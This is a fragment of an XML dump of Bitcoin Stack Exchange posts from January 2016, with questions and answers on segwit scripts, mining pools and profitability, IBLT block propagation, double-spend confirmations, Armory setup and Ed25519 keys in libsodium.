ContentLicense="CC BY-SA 3.0" />
  <row Id="42411" PostTypeId="2" ParentId="42409" CreationDate="2016-01-17T23:30:34.817" Score="6" Body="&lt;p&gt;It's not prepending a script with OP_0. It's a data push that contains the witness program hash, prepended by OP_0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old nodes will evaluate this as a script that just pushes two data items onto the stack (a 0 and a hash). That's obviously spendable by all, as the requirement is having a non-zero item as last element on the stack.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2016-01-18T00:16:33.050" LastActivityDate="2016-01-18T00:16:33.050" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="42412" PostTypeId="1" CreationDate="2016-01-17T23:44:50.613" Score="1" ViewCount="2219" Body="&lt;p&gt;Sorry to be a newbie, But I'm pretty lost. I just set up my first Antminer and don't understand very much. There are three pools suggested as the default. What am I generating as far as currency?&lt;/p&gt;&#xA;" OwnerUserId="32099" LastEditorUserId="5406" LastEditDate="2016-01-19T08:35:46.090" LastActivityDate="2016-01-19T08:35:46.090" Title="What currency do the antminer pools generate?" Tags="|mining-pools|antminer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42413" PostTypeId="2" ParentId="42294" CreationDate="2016-01-18T01:52:18.283" Score="12" Body="&lt;p&gt;It is true that mining Bitcoins like this is impossible. (I can't speak for altcoins though.)&lt;br&gt;&#xA;Let us run through a back-of-envelope calculation based on some facts and assumptions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Network hash rate is 800 000 terahashes per second as of 2016-01-18 &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;noreferrer&quot;&gt;[source]&lt;/a&gt;.&lt;br&gt;&#xA;Remember that currently 25 BTC are rewarded every 10 minutes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A modern consumer-grade CPU has 4 cores, and can calculate about 400 MB/s of SHA-256 per core in C. (More generous than JavaScript, but ignoring the upcoming &lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sha-extensions&quot; rel=&quot;noreferrer&quot;&gt;Intel SHA Extensions&lt;/a&gt; instructions.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One Bitcoin hash trial uses 2 blocks of the SHA-256 compression function (each block is 64 bytes), so this translates to 8 million hashes per second per core, and 30 million hashes per second per CPU.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;One visitor donating 5 minutes of full-CPU time gives 9 gigahashes.&lt;br&gt;&#xA;Multiplied by 2 million visitors per day gives 18 petahashes per day.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Meanwhile the rest of the Bitcoin network has produced 70 000 000 petahashes in a day and mined 3600 BTC.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The current price is 1 BTC = $400 USD. Your 18 PH out of 70 000 000 PH is 0.000026%, so this yields 0.0009 BTC reward, equaling $0.37 USD per day in total. But divided among everyone, this equals $0.0000002 per visitor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With 2 million visitors a day though, why not optimize the ad revenue, user retention, conversion funnels, and other traditional online business techniques?&lt;/p&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2016-01-18T02:08:32.463" LastActivityDate="2016-01-18T02:08:32.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42414" PostTypeId="2" ParentId="42323" CreationDate="2016-01-18T02:19:10.883" Score="1" Body="&lt;p&gt;The fields you are looking for, &lt;code&gt;addresses&lt;/code&gt; and &lt;code&gt;reqSigs&lt;/code&gt;, are indeed serialized in the transaction. In particular, they are implied by the &lt;code&gt;scriptPubKey&lt;/code&gt; binary string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;scriptPubKey&lt;/code&gt; field is very general, supporting many payment types and even arbitrary garbage data (unfortunately).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format for pay-to-pubkey-hash (P2PKH) is &lt;code&gt;&amp;lt;OP_DUP&amp;gt; &amp;lt;OP_HASH160&amp;gt; &amp;lt;push 20-byte pubKeyHash&amp;gt; &amp;lt;OP_EQUALVERIFY&amp;gt; &amp;lt;OP_CHECKSIG&amp;gt;&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Transaction_to_Bitcoin_address_.28pay-to-pubkey-hash.29&quot; rel=&quot;nofollow&quot;&gt;[source]&lt;/a&gt;. The 20-byte hash is converted via Base58Check into the address string. And as per the documentation you linked to, &lt;code&gt;reqSigs&lt;/code&gt; is 1 for P2PKH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another format for the script is a bare multisig, and this will allow &lt;code&gt;reqSigs&lt;/code&gt; to be greater than 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the JSON data is produced by a function named &lt;code&gt;DecodeRawTransaction&lt;/code&gt;. This is why the output data seems to be different from the input data, because additional processing and interpretation was performed on it.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2016-01-18T02:19:10.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42416" PostTypeId="2" ParentId="14439" CreationDate="2016-01-18T05:00:53.523" Score="0" Body="&lt;p&gt;I bought it but the fing thing has been broke for six months and TECH SUPPORT REFUSES TO FIX IT even tho promised 1 year gold membership DONT BUY IT!&lt;/p&gt;&#xA;" OwnerUserId="32105" LastActivityDate="2016-01-18T05:00:53.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42420" PostTypeId="1" AcceptedAnswerId="42455" CreationDate="2016-01-18T09:16:41.777" Score="12" ViewCount="1459" Body="&lt;p&gt;I’m spending a lot of time debating people about Bitcoin online these days. One issue that I encounter regularly is that my opposite colloquists are unaware of the contributions the Blockstream developers have added to the Bitcoin project since the company was founded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My aim is twofold: I’d like to be able to simply link this question next time I read &quot;Blockstream produces only vapour, and contributes nothing&quot;, and I think that the answer to this question deserves more visibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please list what measurable contributions Blockstream developers have made to the Bitcoin project?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-19T09:43:33.540" LastActivityDate="2021-02-15T16:04:26.210" Title="What contributions have Blockstream developers made to the Bitcoin project?" Tags="|bitcoin-core-development|blockstream|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42421" PostTypeId="2" ParentId="42088" CreationDate="2016-01-18T10:28:36.537" Score="0" Body="&lt;p&gt;are you copying and pasting your password?  I had this issue the other day and the password was only taken when I typed it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps&#xA;mule&lt;/p&gt;&#xA;" OwnerUserId="32117" LastActivityDate="2016-01-18T10:28:36.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42422" PostTypeId="1" AcceptedAnswerId="42435" CreationDate="2016-01-18T11:04:43.153" Score="1" ViewCount="192" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If a double-spend attack is pulled off, how to manually verify transactions via the bitcoin daemon and how to know how much amount lost? Will the saved transaction hash be re-usable to obtain info about the transactions using &lt;code&gt;gettransaction&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to pull off the attack after 48 hours?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31881" LastEditorUserId="5406" LastEditDate="2016-01-19T09:01:18.207" LastActivityDate="2016-01-19T09:01:18.207" Title="How to track and handle double-spend attacks?" Tags="|bitcoind|doublespend|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42423" PostTypeId="2" ParentId="42294" CreationDate="2016-01-18T13:13:42.897" Score="2" Body="&lt;p&gt;I think there are some great answers here, hopefully this isn't too repetitive...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the metric you gave (2m daily unique visitors) is a great number, but it's not the right one when you're talking about proof-of-work mining. In that world, the relevant metric is more like the number of CPU-seconds you have available to you (a &quot;cycles per second&quot; number).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific, your number doesn't really cover what's going on, because one unique user could leave their browser open all day (and therefore hashing for you all day), while another could close it in one second. Those two users would do vastly different amounts of hashing work, so you need an idea of the number of concurrent tabs open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the awesome numbers from @Nayuki's answer, we can get a bit further:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note, I'm using the &quot;Hz&quot; unit here with one &quot;hash&quot; being one cycle.)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;each open tab to your site could generate about 30 MHz (per the calculations above)&lt;/li&gt;&#xA;&lt;li&gt;the BTC network is doing 800 PHz (800,000,000,000 Mhz)&lt;/li&gt;&#xA;&lt;li&gt;A big mining pool (ghash.io) is doing about 7.5 PHz (7,500,000,000 MHz)&lt;/li&gt;&#xA;&lt;li&gt;7.5 THz / 30 MHz per concurrent open tab = 250,000,000 concurrent open tabs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is... actually not all that ridiculous of a number. It basically means that to hash as much as a large mining pool, you need all of the US on your site all day every day. This is really tough for a single site, but a global ad-network serving ads that just do hashing could potentially do this, as I suspect there are at least 250m tabs open at any given time if you're looking at the whole world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you'd almost certainly earn more money per user relying on advertising, so I don't expect to see ad networks go this route anytime soon.&lt;/p&gt;&#xA;" OwnerUserId="30591" LastActivityDate="2016-01-18T13:13:42.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42424" PostTypeId="1" CreationDate="2016-01-18T14:30:16.300" Score="1" ViewCount="1471" Body="&lt;p&gt;I installed &lt;code&gt;Bitcoin Core version v0.11.2.0-g7e27892 (64-bit)&lt;/code&gt;&#xA;at &lt;code&gt;/usr/bin/bitcoin-qt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I installed &lt;code&gt;armory 0.93.3-beta-e59e10d38c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I launch armory it says &quot;cannot find bitcoin installation&quot;.&#xA;I go to &lt;code&gt;File &amp;gt; Settings&lt;/code&gt; and set &quot;Bitcoin install dir&quot; to &lt;code&gt;/usr/bin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet armory keeps repeating that msg.&#xA;Is it a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m running &lt;code&gt;Ubuntu 14.04 64bit&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="32126" LastEditorUserId="5406" LastEditDate="2016-01-18T16:19:32.227" LastActivityDate="2016-10-12T17:33:31.123" Title="Armory cannot find bitcoin installation in Ubuntu 14.04" Tags="|ubuntu|armory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42425" PostTypeId="1" AcceptedAnswerId="42428" CreationDate="2016-01-18T14:59:50.257" Score="1" ViewCount="45" Body="&lt;p&gt;I understand IBLT (Invertible Bloom Lookup Tables) and as far as I know it is used to increase propagation speed by only sending the transactions to a full node that its missing instead of sending all transactions. In Gavin's &lt;a href=&quot;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2#canonical-ordering-of-transactions&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt; it is mentioned that we do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IBLT_diff = IBLT_new - IBLT_us&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I understand from this is that the full node checks and after comparing its IBLT with the miner's IBLT, the full node figures out which transactions are missing. &lt;br/&gt;&#xA;Then full node requests the transactions missing from the miner. Is this correct? &lt;br/&gt;&#xA;In the middle of the specification, it says that they are not using the full transaction hash and then it says that in order to prevent brute forcing it adds a salt to it. May I know why they are doing this and if so then how does full node know the transaction hash to request from if its truncated. &lt;/p&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2016-01-18T18:10:00.750" Title="How does IBLT_diff reveal the transactions that needs to be retrieved?" Tags="|block-propagation-time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42426" PostTypeId="1" CreationDate="2016-01-18T16:11:07.400" Score="-1" ViewCount="655" Body="&lt;p&gt;Like if I want to send 1 BTC to someone I give him a QR-code. He scans it and receives the money. You load your QR code with Bitcoin as payment voucher.&lt;/p&gt;&#xA;" OwnerUserId="24464" LastEditorUserId="5406" LastEditDate="2016-01-19T09:08:02.650" LastActivityDate="2016-01-19T09:08:02.650" Title="Is there any platform where we scan a QR-code and receive the Bitcoin payment?" Tags="|paper-wallet|qrcode|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42428" PostTypeId="2" ParentId="42425" CreationDate="2016-01-18T18:10:00.750" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Then full node requests the transactions missing from the miner. Is this correct? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. All transactions (including the missing ones) are already encoded into the IBLT (that the miner sent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a little like a Sudoku puzzle. The miner sends you an empty sudoku with only the totals filled in. You throw in the transactions that you already know. And then you can work out all the remaining empty spots on your own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the main benefit is exactly to prevent having to ask the miner anything, because that adds round-trips around the internet and thus latency.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;not using the full transaction hash &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Probably because the hashes are large and the chance of a hash collision is not very high and not really a problem if it happens once a year (that's a number I just made up). So to save some space and/or make the calculations faster.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and then it says that in order to prevent brute forcing it adds a salt to it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's so an attacker can not generate 2 transactions on purpose that cause such a (trimmed) hash collision. If an attacker could do that, you would be unable to solve the Sudoku and you would be forced to get the transactions or block in a different manner (adding round trips and latency).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are other situations that would cause you to get stuck with an unsolved Sudoku. For example if you have just restarted your node, your mempool would be near empty so you don't have any transactions to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that Rusty Russel also made a few &lt;a href=&quot;http://rustyrussell.github.io/pettycoin/2014/11/05/Playing-with-invertible-bloom-lookup-tables-and-bitcoin-transactions.html&quot; rel=&quot;nofollow&quot;&gt;blog posts on IBLT&lt;/a&gt;, those are more recent than Gavin's and might give you another perspective.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-18T18:10:00.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42433" PostTypeId="2" ParentId="42426" CreationDate="2016-01-19T01:01:52.093" Score="1" Body="&lt;p&gt;A QR Code is just a short-cut for a string of text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you probably know, a Bitcoin address is also a string of text. So too, are the keys to your Bitcoin wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So many different things can be stored in a QR code. Is it a wallet address? Or is it a back up of a wallet with its keys? Or is it a web address? Or an email address? It can be anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can use it to send bitcoin, but you must understand what it is that you are doing and the many ways to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the person you want to give the Bitcoin to have a smart phone? Then all you need to do is to install a Bitcoin wallet application and ask the wallet to display its address as a QR code - which you can scan with your own wallet on your own phone which contains the Bitcoin you want to send. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the person you want to send it to does not have a smart phone, or you can't do the transaction in person, but you have a computer, then you can export or save your wallet as a paper wallet and print it on paper. It depends on the program, but most wallet software have a variation of it and your friend will likely need to use the same software on his computer to import the wallet. Here is a short introduction to this: &lt;a href=&quot;https://blockchain.info/wallet/paper-tutorial&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/paper-tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option is to use one of the web based wallet services such as the one above. &lt;/p&gt;&#xA;" OwnerUserId="13228" LastActivityDate="2016-01-19T01:01:52.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42434" PostTypeId="2" ParentId="42343" CreationDate="2016-01-19T01:10:33.917" Score="1" Body="&lt;p&gt;It's not Armory that hasn't caught up, but your bitcoind that hasn't caught up. Armory works on top of bitcoind and gets all the block information from the local bitcoind node. It looks like the bitcoind node has about 50,000 blocks to catch up before Armory will notice that the bitcoin is gone. Just let bitcoind catch up (how long will depend on your network bandwidth and your computer's RAM/CPU) and you'll see it once the blocks catch up.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-01-19T01:10:33.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42435" PostTypeId="2" ParentId="42422" CreationDate="2016-01-19T01:15:56.953" Score="1" Body="&lt;p&gt;You can just wait for enough confirmations. Most wallet and blockchain websites will show you the number of confirmations for a transaction id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a small transaction (less than 100 Bitcoins) then waiting for 3 confirmations should be enough. 6 confirmations means that roughly 10% of the network has confirmed your transaction and is the ball park used by many cautious services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every confirmation takes a minimum of around 10 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has happened less than 15 times that transactions with 3-4 confirmations were reversed and it has happened almost 1000 times that transactions with only one confirmation was reversed. (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3343/what-is-the-longest-blockchain-fork-that-has-been-orphaned-to-date&quot;&gt;What is the longest blockchain fork that has been orphaned to date?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, technically, it's really so difficult to pull off a double spend after 50 minutes, that nobody has ever done it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does happen, the whole transaction basically just &quot;never happened&quot; so the transaction doesn't take place and the whole amount is &quot;lost&quot;. &lt;/p&gt;&#xA;" OwnerUserId="13228" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-01-19T01:15:56.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42436" PostTypeId="2" ParentId="42412" CreationDate="2016-01-19T01:25:21.060" Score="1" Body="&lt;p&gt;Antminer is good a a certain type of cryptographic hash: SHA256. So while you can technically hash any cryptocurrency that uses SHA256 (ie. &lt;a href=&quot;http://www.coinwarz.com/miningprofitability/sha-256&quot; rel=&quot;nofollow&quot;&gt;http://www.coinwarz.com/miningprofitability/sha-256&lt;/a&gt;) most pools will be focused around Bitcoin and even those that don't mine Bitcoin directly, will give you the option to trade whatever they're mining, directly to Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some pools can hash several similar cryptocurrencies at the same time but considering their relative values they are hardly worth the bother and admin taken to trade them and you can probably find a pool that does all of this automatically. Go ahead and visit the pools' websites and read their FAQ pages and ask for help on their forums!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware though - many, if not most, pools and Bitcoin services are run by Crooks out to steal your money or use your hashing power for their own gain. Look for pools that have been around for several years, and with lots of users and a friendly community!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also beware! If you are paying for electricity, you are probably going to mine less Bitcoin than the cost of the electricity - so you might as well not mine at all and just spend the money that you would have spent on electricity, directly on buying Bitcoin at an exchange. For older hardware this holds true, even if Bitcoin should reach $3000 each.&lt;/p&gt;&#xA;" OwnerUserId="13228" LastActivityDate="2016-01-19T01:25:21.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42437" PostTypeId="1" CreationDate="2016-01-19T01:26:49.997" Score="5" ViewCount="7224" Body="&lt;p&gt;Not all crypto currencies are using &lt;strong&gt;secp256k1&lt;/strong&gt; technology for keypair generation and digital signatures. &lt;strong&gt;Curve25519&lt;/strong&gt; technology (frequently used to support ECDH key exchanges) is being used by a few other cryptocurrencies. &lt;strong&gt;Ed25519&lt;/strong&gt; cryptography (meant to support EdDSA functionality) and Curve25519 cryptography are closely related through transformations and the trend is to start with Ed25519 keys and transform them to Curve25519 key pairs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been using this &lt;a href=&quot;http://fossies.org/linux/tor/src/test/ed25519_vectors.inc&quot; rel=&quot;noreferrer&quot;&gt;reference&lt;/a&gt; as a source of eight &lt;strong&gt;ED25519_SECRET_KEYS&lt;/strong&gt; and corresponding &lt;strong&gt;ED25519_PUBLIC_KEYS&lt;/strong&gt; to use as test vectors for applying Ed25519 package implementations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Got &lt;a href=&quot;https://github.com/floodyberry/ed25519-donna&quot; rel=&quot;noreferrer&quot;&gt;floodyberry/ed25519-donna&lt;/a&gt; to function as expected. However, I could not compute the &lt;strong&gt;ED25519_CURVE25519_PUBLIC_KEYS&lt;/strong&gt; from the reference using ed25519-donna using its &lt;em&gt;&lt;code&gt;curved25519_scalarmult_basepoint()&lt;/code&gt;&lt;/em&gt; function to match. This pushed me towards trying &lt;a href=&quot;https://github.com/jedisct1/libsodium&quot; rel=&quot;noreferrer&quot;&gt;jedisct1/libsodium&lt;/a&gt;. Got &lt;em&gt;&lt;code&gt;crypto_scalarmult_base()&lt;/code&gt;&lt;/em&gt; function results from libsodium to match those from ed25519-donna:-)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;strong&gt;&lt;code&gt;it is unclear how jedisct1/libsodium can be applied to generate public Ed25519 keys only from secret Ed25519 keys that are natively in an ASCII hexadecimal format&lt;/code&gt;&lt;/strong&gt;:-( It seems that jedisct1/libsodium requires keys to always be generated from it native keypair generation process, opposed to an externally supplied private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Used the &lt;em&gt;sodium_hex2bin()&lt;/em&gt; to stuff an ASCII hex encoded private key from the reference into the 64 unsigned char ed25519_skpk variable:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;sodium_hex2bin( ed25519_skpk, 32, ED25519_SECRET_KEYS[ii], 64, NULL, NULL, NULL );&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Results from the following libsodium function were as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;crypto_scalarmult_base( curve25519_pk, ed25519_skpk )&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Was a bit frustrated when I discovered that crypto_sign_ed25519_sk_to_pk() was coded to extract the public key from ed25519_skpk that was never initialized.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;crypto_sign_ed25519_sk_to_pk( ed25519_pk, ed25519_skpk );&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Becoming a bit disappointed not locating a libsodium function to compute the ed25519_pk key when ed25519_skpk is loaded with a working private key from an external source. Any assistance will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="3347" LastEditDate="2019-10-15T06:46:00.117" LastActivityDate="2019-10-15T06:46:00.117" Title="How to generate Ed25519 public key from private key using libsodium?" Tags="|private-key|public-key|cryptography|altcoin-development|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42438" PostTypeId="2" ParentId="42420" CreationDate="2016-01-19T09:33:51.193" Score="2" Body="&lt;p&gt;I know of their work on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;Sidechains&lt;/a&gt; and the soon to be released &lt;a href=&quot;https://blockstream.com/2015/10/12/introducing-liquid/&quot; rel=&quot;nofollow&quot;&gt;Liquid Sidechain&lt;/a&gt; and,&lt;/li&gt;&#xA;&lt;li&gt;the &lt;a href=&quot;http://lightning.network/lightning-network-paper-DRAFT-0.5.pdf&quot; rel=&quot;nofollow&quot;&gt;Lightning Network&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They lead these efforts and are close to implement a production sidechain. These contributions are quite impressive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the above projects some changes are required to bitcoin-core as well (e.g. OP_CHECKLOCKTIMEVERIFY, OP_CHECKSEQUENCEVERIFY, ...) and they contribute towards that end as well.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-19T09:33:51.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42439" PostTypeId="2" ParentId="2340" CreationDate="2016-01-19T11:19:47.107" Score="1" Body="&lt;p&gt;You can start with the included &lt;a href=&quot;https://github.com/bitcoinjs/bitcoinjs-lib/tree/master/test&quot; rel=&quot;nofollow&quot;&gt;test package&lt;/a&gt; first. Then check the dependent projects.&lt;/p&gt;&#xA;" OwnerUserId="32151" LastActivityDate="2016-01-19T11:19:47.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42440" PostTypeId="2" ParentId="30837" CreationDate="2016-01-19T12:25:11.790" Score="4" Body="&lt;p&gt;Transactions are not necessary to mine blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simple terms: mining a block = finding a hash that matches with the previous block's hash + optionally a bunch of unconfirmed transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A block doesn't need to include any transactions. And if there are unconfirmed transactions, a block may include all, some, or none of them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are, it's in the miner's best interest to include them all. He earns the mining fees on top of the block reward, and it doesn't make the hash computation of the new block any more difficult. So deliberately not including pending transactions = leaving free money on the table. But mining can still occur even if there are no transactions at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, even if it was required to include transactions, Satoshi could of course have sent dummy transactions between addresss of his own (and collecting his own transaction fees).&lt;/p&gt;&#xA;" OwnerUserId="15492" LastActivityDate="2016-01-19T12:25:11.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42441" PostTypeId="1" AcceptedAnswerId="42447" CreationDate="2016-01-19T12:39:52.893" Score="3" ViewCount="453" Body="&lt;p&gt;&lt;strong&gt;Anyone reading discussions in the Bitcoin scene these days probably has seen the following argument (or similar):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;&lt;em&gt;&quot;Blockstream is preventing a blocksize increase because their products can only turn profit in a small block environment.&quot;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What evidence is there to support or refute this statement?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PSA (as per our rules):&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Be &lt;strong&gt;open-minded&lt;/strong&gt;. This question will likely generate diverse answers that may not align with your personal opinion.&lt;/li&gt;&#xA;&lt;li&gt;When answering this question, &lt;strong&gt;back up&lt;/strong&gt; all statements you make with appropriate references and evidence.&lt;/li&gt;&#xA;&lt;li&gt;Answers will be edited/moderated for tone. Stay &lt;strong&gt;respectful and courteous&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Avoid statements solely based on your opinion.&lt;/li&gt;&#xA;&lt;li&gt;Logical fallacies will be called out.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2018-01-26T03:18:20.197" Title="Does Blockstream have a revenue model that can only exist in a small block environment?" Tags="|block-size-increase|community|blockstream|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42442" PostTypeId="1" AcceptedAnswerId="42446" CreationDate="2016-01-19T13:04:06.060" Score="3" ViewCount="815" Body="&lt;p&gt;In the blocksize debate it is often stated that hard forks are dangerous. This is sometimes supported by the claim that &quot;people may lose money and must be protected&quot;. And that it's impossible to prepare for a hard fork in a few months.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What are the dangers of a hard fork?&lt;/li&gt;&#xA;&lt;li&gt;How would people lose money due to a hard fork?&lt;/li&gt;&#xA;&lt;li&gt;Why is it necessary to give more than a month time to prepare for a hard fork?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-01-19T14:56:55.703" Title="Why is it dangerous to hard fork the Bitcoin network?" Tags="|blockchain-fork|block-size-increase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
